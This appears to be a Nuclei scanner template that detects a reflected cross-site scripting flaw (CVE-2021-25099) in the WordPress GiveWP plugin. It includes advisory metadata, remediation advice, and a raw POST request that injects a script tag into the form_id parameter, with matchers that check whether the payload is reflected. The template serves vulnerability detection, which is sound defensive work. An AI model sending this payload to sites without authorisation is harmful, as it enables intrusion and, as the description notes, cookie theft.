id: CVE-2021-25099

info:
  name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
    - https://wordpress.org/plugins/give/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
    - https://plugins.trac.wordpress.org/changeset/2659032
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25099
    cwe-id: CWE-79
    epss-score: 0.02406
    epss-percentile: 0.85289
    cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: givewp
    product: givewp
    framework: wordpress
  tags: cve2021,cve,xss,wp,give,wordpress,wp-plugin,unauth,wpscan,givewp,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "give_user_login")'
        condition: and
# digest: 4a0a00473045022062b4f6debead3094f7d446a2d36fe0fccbe7297edf2ecdbb4a6afdc5adaaf440022100856b9d5f223b875475a0caa538eacf93be409801f4d334ae2da34daf7c6dc032:922c64590222798bb761d5b6d8e72950